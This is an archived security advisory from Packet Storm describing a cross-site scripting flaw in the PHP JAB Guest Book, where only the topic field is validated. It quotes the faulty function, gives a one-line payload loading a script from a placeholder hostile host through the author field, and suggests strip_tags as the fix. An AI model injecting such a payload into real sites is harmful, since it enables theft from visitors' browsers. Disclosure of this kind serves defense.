exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

jabgb-xss.txt

jabgb-xss.txt
Posted Dec 6, 2006
Authored by James Barnsley

JAB Guest Book suffers from a cross site scripting vulnerability.

tags | advisory, xss
SHA-256 | de73cbd93e53f5680513b090ea1341071a7a29d9f6fe4d905318c56216a00d0b

jabgb-xss.txt

Change Mirror Download
Script Name: JAB Guest Book
Authors: Barnz@hotmail.co.uk
Website: James Barnsley
Bug Report: NetJackal (nj[AT]hackerz[DOT]ir & nima_501[AT]yahoo[DOT]com)
Status: Patch not released
First i should apologize for my bad english.
Intro:
JAB Guest Book is a free guest book written in PHP, it works using flat files
to store data which means no database is needed. Features include easy installation
and customisation into your existing website. An administration panel which allows
you to delete posts and ban users, additional administration configuration to un-ban
users and to use the bad word filter. Ability for users to post messages with topic,
email and comments including emotions (smilies). The main guest book works completely
using only one file.
Bugs Description:
look at pbguestbook.php at line 425:


function invalideregtest($input)
{
$checkcount = 0;

//$exinput = str_split($input);

$countname = count($exinput);

for($i=0; $i<$countname; $i++)
{
if(!ereg("[A-Za-z0-9]", $input[$i]) == 1)
{
$checkcount++;
}
}

if($checkcount != 0)
{
$input = "no";
}
else
{
$input = "yes";
}

return($input);
}
$check1 = invalideregtest($topic);

script just check $topic by invalideregtest function. so what's happen if we put some thing lile
<SCRIPT SRC=http://Hacler/EVIL.js></script> in $author? yes true answer xss happens

Solution:
Edit the code and check other inputs by invalideregtest function or simply remove html tags by
strip_tags function (PHP built-in function)
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close